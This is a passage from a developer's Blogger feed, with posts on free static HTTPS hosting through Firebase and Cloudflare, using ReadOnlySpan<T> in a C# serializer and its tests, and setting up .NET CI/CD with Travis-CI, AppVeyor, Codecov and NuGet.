&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9UWC24Ci_hoZwqcqvzUnhg62iXfvA0b4Gc3r954BmlArv7GvW4Zsp9IHluh5L-AB2qfcDoYr9UQScrhTshSHq_IDSxTvbJlLuXyCjyPFvWpfkyDAbATXAJ1QA_3UVCY-hmqiVetPSHjI/s1600/Cloudflare+Top+Traffic+Origins.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;317&quot; data-original-width=&quot;283&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9UWC24Ci_hoZwqcqvzUnhg62iXfvA0b4Gc3r954BmlArv7GvW4Zsp9IHluh5L-AB2qfcDoYr9UQScrhTshSHq_IDSxTvbJlLuXyCjyPFvWpfkyDAbATXAJ1QA_3UVCY-hmqiVetPSHjI/s1600/Cloudflare+Top+Traffic+Origins.PNG&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;br /&gt;
The only problem I had was that by default I had an endless redirect! It was&amp;nbsp;&lt;a href=&quot;https://stackoverflow.com/questions/35143193/cloudflare-and-nginx-too-many-redirects&quot;&gt;quick to find a solution&lt;/a&gt;&amp;nbsp;though which was setting via the Crypto menu the &lt;i&gt;Full &lt;/i&gt;mode instead of the default &lt;i&gt;Flexible&lt;/i&gt;. That means that Cloudflare will contact the backend (Firebase) via HTTPS only instead of hitting the plain HTTP, which returns a redirect to HTTPS and hence the endless redirect.&lt;br /&gt;
&lt;br /&gt;
Finally, I&#39;ve pushed it to &lt;a href=&quot;https://github.com/bruno-garcia/brunogarcia.com&quot;&gt;GitHub&lt;/a&gt;, which serves as my personal backup.&lt;br /&gt;
&lt;br /&gt;
It&#39;s worth noting that at this point another option was to use GitHub pages instead of Cloudflare. Especially since I&#39;m pushing the files there anyway. One limitation GitHub pages have is that you can&#39;t use your custom domain with HTTPS. But that&#39;s done by Cloudflare unless I enable development mode.&lt;br /&gt;
&lt;br /&gt;
It&#39;s nice to have &lt;a href=&quot;https://brunogarcia.com/&quot;&gt;https://brunogarcia.com&lt;/a&gt; returning a couple of tiny static files without having to pay for it.&lt;br /&gt;
&lt;br /&gt;
Big &lt;b&gt;Thanks&lt;/b&gt; to&amp;nbsp;&lt;b&gt;&lt;a href=&quot;https://firebase.google.com/&quot;&gt;Firebase&lt;/a&gt;&lt;/b&gt;, &lt;b&gt;&lt;a href=&quot;https://www.cloudflare.com/&quot;&gt;Cloudflare &lt;/a&gt;&lt;/b&gt;and also&amp;nbsp;&lt;a href=&quot;http://optimizilla.com/&quot;&gt;Optimizilla&lt;/a&gt;&amp;nbsp;which I used to compress the image,&amp;nbsp;&lt;a href=&quot;http://app.fontastic.me/&quot;&gt;Fontastic&lt;/a&gt;&amp;nbsp;for creating icons bundle and&amp;nbsp;&lt;span style=&quot;color: #1155cc; font-family: &amp;quot;arial&amp;quot;; font-size: 11pt; vertical-align: baseline; white-space: pre-wrap;&quot;&gt;&lt;a href=&quot;http://www.favicon.cc/&quot; style=&quot;text-decoration-line: none;&quot;&gt;favicon.cc&lt;/a&gt;&lt;/span&gt;&amp;nbsp;to allow me showing off my artistic gift.&lt;br /&gt;
&lt;br /&gt;
Looking forward to dive into the paid features they offer with a real application!</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/6196748559465205329/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2018/02/hosting-static-site-over-https-for-free.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/6196748559465205329'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/6196748559465205329'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2018/02/hosting-static-site-over-https-for-free.html' title='Hosting a static site over HTTPS for free'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9UWC24Ci_hoZwqcqvzUnhg62iXfvA0b4Gc3r954BmlArv7GvW4Zsp9IHluh5L-AB2qfcDoYr9UQScrhTshSHq_IDSxTvbJlLuXyCjyPFvWpfkyDAbATXAJ1QA_3UVCY-hmqiVetPSHjI/s72-c/Cloudflare+Top+Traffic+Origins.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-1694623842370055849</id><published>2017-12-04T00:31:00.003+01:00</published><updated>2018-02-14T09:56:52.391+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Serialization"/><category scheme="http://www.blogger.com/atom/ns#" term="Span&lt;T&gt;"/><title type='text'>ISerializer with Span&amp;lt;T&amp;gt;</title><content type='html'>While trying out the new &lt;i&gt;&lt;a href=&quot;https://github.com/dotnet/corefxlab/blob/master/docs/specs/span.md&quot;&gt;Span&amp;lt;T&amp;gt;&lt;/a&gt;&lt;/i&gt; type from &lt;i&gt;System.Memory&lt;/i&gt; package I encountered an error:&lt;br /&gt;
&lt;br /&gt;
&lt;b style=&quot;color: #6a737d; font-size: 14px;&quot;&gt;&amp;nbsp; &amp;nbsp;typeof(System.InvalidProgramException): Common Language Runtime detected an invalid program.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
At first I thought that must be a bug since &lt;i&gt;System.Memory&lt;/i&gt; package is still a preview&amp;nbsp;release but it turns out that it&#39;s by design.&lt;br /&gt;
&lt;br /&gt;
I was experimenting with using &lt;i&gt;ReadOnlySpan&amp;lt;T&amp;gt;&lt;/i&gt; instead of &lt;i&gt;byte[] &lt;/i&gt;on &lt;a href=&quot;https://github.com/Greentube/serialization&quot;&gt;Greentube.Serialization&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
The contract became:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/f43b2feebfa1a3c4b214e24ae0f7b56a.js&quot;&gt; &lt;/script&gt;
  &lt;noscript&gt;
    &lt;pre&gt;
public interface ISerializer
{
    ReadOnlySpan&amp;lt;byte&amp;gt; Serialize&amp;lt;T&amp;gt;(T @object);
    object Deserialize(Type type, ReadOnlySpan&amp;lt;byte&amp;gt; bytes);
}
    &lt;/pre&gt;
&lt;/noscript&gt;
&lt;br /&gt;
Once I fixed the compiler related problems, I ran all tests but 6 of them failed:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDouaBdqRHQXr7chg914eIhuW0oS1D95CfvkB3CR5TCd1qLGsESIvcJ_R0xhNUHeLx1PR60iGW_7f1wH4A9NiCFnEnzOQv-e2sEvLGN63vMj6p_hF5kMaSQUxg2-WLCMnlAp1ApsHHx4c/s1600/Greentube.Serialization+tests+Span+of+T.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;232&quot; data-original-width=&quot;584&quot; height=&quot;127&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDouaBdqRHQXr7chg914eIhuW0oS1D95CfvkB3CR5TCd1qLGsESIvcJ_R0xhNUHeLx1PR60iGW_7f1wH4A9NiCFnEnzOQv-e2sEvLGN63vMj6p_hF5kMaSQUxg2-WLCMnlAp1ApsHHx4c/s320/Greentube.Serialization+tests+Span+of+T.PNG&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
After learning a bit more about Span&amp;lt;T&amp;gt;, mostly&amp;nbsp;thankfully to &lt;a href=&quot;http://adamsitnik.com/Span/&quot;&gt;great documentation from Adam Sitnik&lt;/a&gt;&amp;nbsp;I was able to understand what was going on.&lt;br /&gt;
&lt;br /&gt;
Firstly the &lt;i&gt;Assert.Throws&amp;lt;T&amp;gt;&lt;/i&gt; case:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/96ebcc8b7e7a8d5ac98024ebf45d4799.js&quot;&gt; &lt;/script&gt;
  &lt;noscript&gt;
    &lt;pre&gt;
[Fact]
public void Serialize_NullObject_ThrowsNullArgument()
{
    var sut = new MessagePackSerializer(new MessagePackOptions());
    Assert.Throws&amp;lt;ArgumentNullException&amp;gt;(() =&amp;gt; sut.Serialize((object) null));
}
    &lt;/pre&gt;
&lt;/noscript&gt;

The problem here is that the compiler will resolve&amp;nbsp;&lt;i&gt;&lt;b&gt;() =&amp;gt; sut.Serialize(object)) &lt;/b&gt;&lt;/i&gt;as &lt;b&gt;Func&amp;lt;ReadOnlySpan&amp;lt;byte&amp;gt;&amp;gt;. &lt;/b&gt;That&#39;s unfortunately illegal since Span&amp;lt;T&amp;gt; (and ReadOnlySpan&amp;lt;T&amp;gt;) are &lt;a href=&quot;http://adamsitnik.com/Span/#stack-only&quot;&gt;stack-only types&lt;/a&gt;. It can&#39;t end up on the heap so it&#39;s &lt;a href=&quot;http://adamsitnik.com/Span/#span-must-not-be-a-generic-type-argument&quot;&gt;not allowed to be a generic type&lt;/a&gt;.&lt;br /&gt;
I&#39;m not going to try to explain better than Adam Sitnik so please refer to his doc for more.&lt;br /&gt;
&lt;br /&gt;
The fix:&lt;br /&gt;
&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/6c63adde58ef7cb31a92f755006cdb45.js&quot;&gt; &lt;/script&gt;
  &lt;noscript&gt;
    &lt;pre&gt;
[Fact]
public void Serialize_NullObject_ThrowsNullArgument()
{
    var sut = new MessagePackSerializer(new MessagePackOptions());
    Assert.Throws&amp;lt;ArgumentNullException&amp;gt;(() =&amp;gt; { sut.Serialize((object) null); });
}
    &lt;/pre&gt;
&lt;/noscript&gt;
&lt;br /&gt;
The work around here is simple enough. I&#39;ve just added:&amp;nbsp;&lt;b&gt;{ }
&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
What the compiler resolves it as now is a simple&amp;nbsp;&lt;i&gt;Action &lt;/i&gt;since I&#39;m ignoring the return of the &lt;i&gt;Serialize &lt;/i&gt;method which is of type &lt;i&gt;ReadOnlySpan&amp;lt;T&amp;gt;&lt;/i&gt;. Now the test passes again.&lt;br /&gt;
&lt;br /&gt;
I&#39;ve also changed the implementation from a null check to a default value check since Span is a value type. Now the exception thrown is &lt;i&gt;ArgumentException &lt;/i&gt;instead.&lt;br /&gt;
&lt;br /&gt;
The other problem was related to &lt;b&gt;NSubstitute&lt;/b&gt;. Having a subtitute of &lt;i&gt;ISerializer&lt;/i&gt;&amp;nbsp;is a problem since internally NSubstitute will keep a reference to it which would require boxing the argument of type ReadOnlySpan&amp;lt;T&amp;gt; and that results on the same &#39;Common Language Runtime detected an invalid program.&#39; error.&lt;br /&gt;
&lt;br /&gt;
To solve that, I used a Stub instead of an NSubstitute mock.</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/1694623842370055849/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2017/12/iserializer-with-span.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1694623842370055849'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1694623842370055849'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2017/12/iserializer-with-span.html' title='ISerializer with Span&amp;lt;T&amp;gt;'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgDouaBdqRHQXr7chg914eIhuW0oS1D95CfvkB3CR5TCd1qLGsESIvcJ_R0xhNUHeLx1PR60iGW_7f1wH4A9NiCFnEnzOQv-e2sEvLGN63vMj6p_hF5kMaSQUxg2-WLCMnlAp1ApsHHx4c/s72-c/Greentube.Serialization+tests+Span+of+T.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-7145553867312581135</id><published>2017-12-02T15:14:00.001+01:00</published><updated>2018-02-14T09:57:27.911+01:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="AppVeyor"/><category scheme="http://www.blogger.com/atom/ns#" term="Codecov"/><category scheme="http://www.blogger.com/atom/ns#" term="GitHub"/><category scheme="http://www.blogger.com/atom/ns#" term="NuGet"/><category scheme="http://www.blogger.com/atom/ns#" term="OSS"/><category scheme="http://www.blogger.com/atom/ns#" term="Travis-CI"/><title type='text'>CI/CD for .NET with GitHub/Travis-CI/AppVeyor/Codecov/NuGet</title><content type='html'>&lt;span style=&quot;font-family: inherit;&quot;&gt;I recently setup continuous integration for a few open source projects. I used &lt;b&gt;GitHub&lt;/b&gt;, &lt;b&gt;AppVeyor&lt;/b&gt;, &lt;b&gt;Travis-CI&lt;/b&gt; and &lt;b&gt;Codecov&lt;/b&gt;. The resulting packages are deployed to &lt;b&gt;NuGet.org.&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Here I aim to describe the process in an attempt to document it both for myself and hopefully help others in getting started with it.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;br /&gt;
&lt;h2&gt;
Scenario&lt;/h2&gt;
I have some &lt;b&gt;.NET Core&lt;/b&gt; projects on &lt;a href=&quot;https://github.com/bruno-garcia&quot;&gt;GitHub &lt;/a&gt;that are actually just &lt;b&gt;.NET Standard libraries&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Ultimately, once they are built and tested on Windows, MacOS and Linux, I want them published to NuGet.org.&lt;br /&gt;
I also want to use GitHub&#39;s Release feature to document what I am pushing to NuGet.&lt;br /&gt;
&lt;br /&gt;
Some of these projects actually generate more than one NuGet package. That&#39;s the case for&amp;nbsp;&lt;a href=&quot;https://github.com/Greentube/messaging&quot;&gt;Greentube.Messaging&lt;/a&gt;,&amp;nbsp;&lt;a href=&quot;https://github.com/Greentube/serialization&quot;&gt;Greentube.Serialization&lt;/a&gt;&amp;nbsp;and&amp;nbsp;&lt;a href=&quot;https://github.com/Greentube/monitoring&quot;&gt;Greentube.Monitoring&lt;/a&gt;.&amp;nbsp;Depending on the change I make, I might be looking at publishing any number of those packages. I don&#39;t want to publish all packages created while building the repository every time.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
TL;DR&amp;nbsp;&lt;/h2&gt;
Travis-CI is used only to build and run tests on MacOS and Linux.&lt;br /&gt;
AppVeyor, which runs on Windows, builds, run tests while tracking code coverage and sends the results to&amp;nbsp;&lt;a href=&quot;https://codecov.io/gh/Greentube/messaging&quot;&gt;codecov.io&lt;/a&gt;. The result of AppVeyor&#39;s build are&amp;nbsp;&lt;a href=&quot;https://ci.appveyor.com/project/Greentube/messaging/build/artifacts&quot;&gt;artifacts&lt;/a&gt;, .nupkg files (aka: NuGet packages) ready to be sent to Nuget.org.&lt;br /&gt;
&lt;br /&gt;
If AppVeyor is building a tag, it changes the &lt;b&gt;build version&lt;/b&gt; to be the value of the tag. That sets the actual version of the NuGet packages created. Also, AppVeyor then creates a GitHub release in &lt;b&gt;draft &lt;/b&gt;mode.&lt;br /&gt;
&lt;br /&gt;
At that point from AppVeyor I can publish individual packages to NuGet with a button click.&lt;br /&gt;
The release notes can be added to the GitHub Release and then it can be published.&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;
How?&lt;/h2&gt;
&lt;div&gt;
Nearly all settings to AppVeyor, Travis-CI and Codecov are defined on their respective configuration files. Although it&#39;s possible to configure all of those via their Web UI, I personally rather use the text configuration file which is version controlled.&lt;/div&gt;
&lt;br /&gt;
&lt;h2&gt;
Travis-CI&lt;/h2&gt;
&lt;div&gt;
Previously I mentioned there&#39;s no code coverage coming from the Travis-CI build. That’s because as of today there&#39;s no way to do it.&amp;nbsp;&lt;a href=&quot;https://github.com/OpenCover/opencover/issues/601&quot;&gt;OpenCover&amp;nbsp;&lt;/a&gt;and&amp;nbsp;&lt;a href=&quot;https://github.com/Microsoft/vstest/issues/981&quot;&gt;vstest&amp;nbsp;&lt;/a&gt;don&#39;t support Linux or MacOS because there&#39;s still &lt;a href=&quot;https://github.com/dotnet/coreclr/issues/445#issuecomment-338014386&quot;&gt;no released profiling API&lt;/a&gt;&amp;nbsp;for those platforms. That seems to be going to change soon though.&lt;br /&gt;
Nonetheless, Travis-CI is a very nice, free for open source, CI system. Changes pushed to GitHub automatically trigger a build in both Linux and MacOS:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCjR0yjHyuqoTkxswuXk2NS8MmbR5V1La9HXRud5okxENSUz_DTCF_EZkZTETufHnRI3pW5jGKRPvnG8ECj8vYWHofKZ7hg3M12t9liOuHgZ9hCWCCnpCSRA19MQyO9myD642bfz_AkWQ/s1600/Sample+build+TravisCI.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img alt=&quot;dotnet core build on Linux and MacOS&quot; border=&quot;0&quot; data-original-height=&quot;332&quot; data-original-width=&quot;282&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCjR0yjHyuqoTkxswuXk2NS8MmbR5V1La9HXRud5okxENSUz_DTCF_EZkZTETufHnRI3pW5jGKRPvnG8ECj8vYWHofKZ7hg3M12t9liOuHgZ9hCWCCnpCSRA19MQyO9myD642bfz_AkWQ/s320/Sample+build+TravisCI.PNG&quot; title=&quot;dotnet core build on Linux and MacOS&quot; width=&quot;270&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;div&gt;
Using the &lt;a href=&quot;https://github.com/Greentube/messaging/blob/master/.travis.yml&quot;&gt;Greentube.Messaging Travis-CI configuration file&lt;/a&gt; as an example:&amp;nbsp;&lt;b&gt;.travis.yml&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;script src=&quot;https://gist.github.com/47dd3a3cc379ff737a7f3687966995a4.js&quot;&gt; &lt;/script&gt;
  &lt;noscript&gt;
    &lt;pre&gt;
language: csharp
sudo: false
mono: none
os:
  - linux
  - osx
osx_image: xcode8.1
dotnet: 2.0.0
dist: trusty
env:
  global:
    - DOTNET_SKIP_FIRST_TIME_EXPERIENCE=true
    - DOTNET_CLI_TELEMETRY_OPTOUT=1
script:
 - ulimit -n 512; dotnet restore &amp;amp;&amp;amp; ls test/**/*.csproj | grep -v &#39;Greentube.Messaging.Testing&#39; | xargs -L1 dotnet test -c Release
    &lt;/pre&gt;
&lt;/noscript&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
Firstly note that &lt;i&gt;mono&lt;/i&gt;&amp;nbsp;is set to none since I&#39;m building with &lt;b&gt;dotnet&lt;/b&gt;&amp;nbsp;here. Since tests run CoreCLR, only .NET Core SDK is required. I&#39;m bulding the specific projects although from the SDK version 2.0.0 forward or so it&#39;s possible to build a solution file. That is because all I want here is to run my tests. Running &lt;i&gt;dotnet test&lt;/i&gt;&amp;nbsp;will build the dependent projects which in turn will run a &lt;i&gt;dotnet restore&lt;/i&gt;&amp;nbsp;if required. Again, this was not possible with .NET Core SDK 1.x.&lt;br /&gt;
&lt;br /&gt;
The &lt;i&gt;ulimit -n 512 &lt;/i&gt;is there to &lt;a href=&quot;https://github.com/NuGet/Home/issues/2163&quot;&gt;solve a problem&lt;/a&gt; when restoring NuGet packages which open too many connections. Also while trying to &lt;a href=&quot;https://github.com/travis-ci/travis-ci/issues/8617&quot;&gt;solve a problem&lt;/a&gt;, I&#39;ve added &lt;i&gt;osx_image: xcode8.1 &lt;/i&gt;to be able to build with .NET Core SDK 2.0.&lt;br /&gt;
&lt;br /&gt;
There&#39;re tons of other examples on how to get Travis-CI to build a .NET Core project.&lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;
AppVeyor&lt;/h2&gt;
&lt;div&gt;
Here there&#39;s more going on. Besides building all commits, including pull requests, AppVeyor will take code coverage and send it to codecov, create GitHub Releases and publish packages to NuGet.&lt;/div&gt;
&lt;br /&gt;
I&#39;m going to start by describing things before spitting the configuration file in front of you:&lt;br /&gt;
&lt;div&gt;
&lt;div style=&quot;margin: 0px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;
Code coverage&lt;/h3&gt;
&lt;div&gt;
I&#39;ve tried to summarize the &lt;a href=&quot;https://stackoverflow.com/questions/39950422/show-c-sharp-code-coverage-on-github-pull-requests&quot;&gt;code coverage setup on StackOverflow&lt;/a&gt; before but it was never marked as an answer so here goes another try. :)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;h4&gt;
Configuration&lt;/h4&gt;
All project files have an extra configuration called &lt;i&gt;Coverage &lt;/i&gt;with:&amp;nbsp;&lt;b&gt;DebugType=full&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
The reason for the &lt;i&gt;full PDB&lt;/i&gt;&amp;nbsp;configuration is that by default it compiles with &lt;a href=&quot;https://github.com/OpenCover/opencover/issues/610&quot;&gt;&lt;b&gt;portable&lt;/b&gt;&lt;i style=&quot;font-weight: bold;&quot;&gt;&amp;nbsp;&lt;/i&gt;pdbs and those are still not supported&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;h4&gt;
Run&lt;/h4&gt;
&lt;div&gt;
Code coverage is tracked with OpenCover.&amp;nbsp;&lt;a href=&quot;https://gist.github.com/bruno-garcia/aa06a53719aca2a2c9293fca57f8b640&quot;&gt;I wrote a simple powershell script&amp;nbsp;&lt;/a&gt;that will download the necessary tools and, using the .NET Core CLI, it runs all tests while tracking code coverage.&lt;/div&gt;
&lt;br /&gt;
It has two optional arguments:&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #24292e; font-family: , &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; white-space: pre;&quot;&gt;generateReport&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Generates an HTML report useful for testing things before sending to Codecov&lt;/li&gt;
&lt;/ul&gt;
&lt;li&gt;&lt;span style=&quot;background-color: white; color: #24292e; font-family: , &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; white-space: pre;&quot;&gt;uploadCodecov&lt;/span&gt;&lt;/li&gt;
&lt;ul&gt;
&lt;li&gt;Sends the coverage data to &lt;a href=&quot;https://codecov.io/gh/Greentube/messaging&quot;&gt;Codecov.io&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/ol&gt;
&lt;br /&gt;
Previously I mentioned that nearly all settings are source controlled. That is not true to the&amp;nbsp;&lt;i&gt;API KEY&lt;/i&gt;&amp;nbsp;used to send code coverage results to&amp;nbsp;&lt;i&gt;Codecov.&lt;/i&gt;&amp;nbsp;That value is defined as an environment variable (named&amp;nbsp;&lt;b&gt;CODECOV_TOKEN&lt;/b&gt;) on&amp;nbsp;&lt;i&gt;AppVeyor.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Packaging&lt;/h3&gt;
&lt;div&gt;
The projects being built don&#39;t have their version on&amp;nbsp;&lt;i&gt;csproj&lt;/i&gt;&amp;nbsp;defined before committing to GitHub.&lt;/div&gt;
&lt;div&gt;
They are always set to 0.0.0 and that gets replaced (aka &lt;b&gt;patched&lt;/b&gt;)&lt;b&gt;&amp;nbsp;&lt;/b&gt;by AppVeyor before building and packaging it.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
As mentioned before, the result of AppVeyor builds, as other CI systems, are called &lt;b&gt;artifacts&lt;/b&gt;. What is included in the artifacts list is specified via the configuration key with that same name. A glob pattern to include app &lt;i&gt;nupkg&lt;/i&gt;&amp;nbsp;is enough then.:&amp;nbsp;&lt;i&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;background-color: white; box-sizing: border-box; color: #032f62; font-family: , &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; white-space: pre;&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #032f62; font-family: , &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; white-space: pre;&quot;&gt;**\*.nupkg&lt;/span&gt;&lt;span class=&quot;pl-pds&quot; style=&quot;background-color: white; box-sizing: border-box; color: #032f62; font-family: , &amp;quot;consolas&amp;quot; , &amp;quot;liberation mono&amp;quot; , &amp;quot;menlo&amp;quot; , &amp;quot;courier&amp;quot; , monospace; font-size: 12px; white-space: pre;&quot;&gt;&#39;&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Packages are created with the &lt;i&gt;dotnet pack&lt;/i&gt;&amp;nbsp;command. That is true to all but 1 package: &lt;b&gt;metapackage&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4&gt;
Metapackage&lt;/h4&gt;
&lt;/div&gt;
&lt;div&gt;
One thing I&#39;ve left out of the summary is the creation of a &lt;a href=&quot;https://docs.microsoft.com/en-us/dotnet/core/packages&quot;&gt;metapackage&lt;/a&gt;. That&#39;s an attempt to ease into the API adoption by providing the simplest way to get started.&lt;br /&gt;
&lt;br /&gt;
Note that obviously the packages referenced by this metapackage are not included in the &lt;a href=&quot;https://github.com/dotnet/docs/blob/master/docs/core/deploying/runtime-store.md&quot;&gt;runtime package store&lt;/a&gt;. That means that using this will in fact include the dependent packages in your publish output.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I&#39;m publishing two metapackages, each from their own repository:&lt;/div&gt;
&lt;div&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Greentube/serialization/tree/master/src/Greentube.Serialization.All&quot;&gt;Greentube.Serialization.All&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/Greentube/messaging/tree/master/src/Greentube.Messaging.All&quot;&gt;Greentube.Messaging.All&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div&gt;
Someone wants to try the API?&amp;nbsp; Run a single &lt;i&gt;dotnet add package&lt;/i&gt;&amp;nbsp;command and all of the building blocks are available to them.&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
I don&#39;t expect it to be used in production though. I advise the fine grained approach instead (pay-for-play).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h4&gt;
Create&lt;/h4&gt;
&lt;div&gt;
Runing&amp;nbsp;&lt;i&gt;dotnet pack &lt;/i&gt;on a project that has no code yields no package!&amp;nbsp;&lt;/div&gt;
&lt;div&gt;
The CLI will not build up an empty package. To create a metapackage you need to use a &lt;b&gt;&lt;a href=&quot;https://github.com/Greentube/serialization/blob/master/src/Greentube.Serialization.All/Greentube.Serialization.All.nuspec&quot;&gt;nuspec&lt;/a&gt; &lt;/b&gt;file.&lt;/div&gt;
&lt;div&gt;
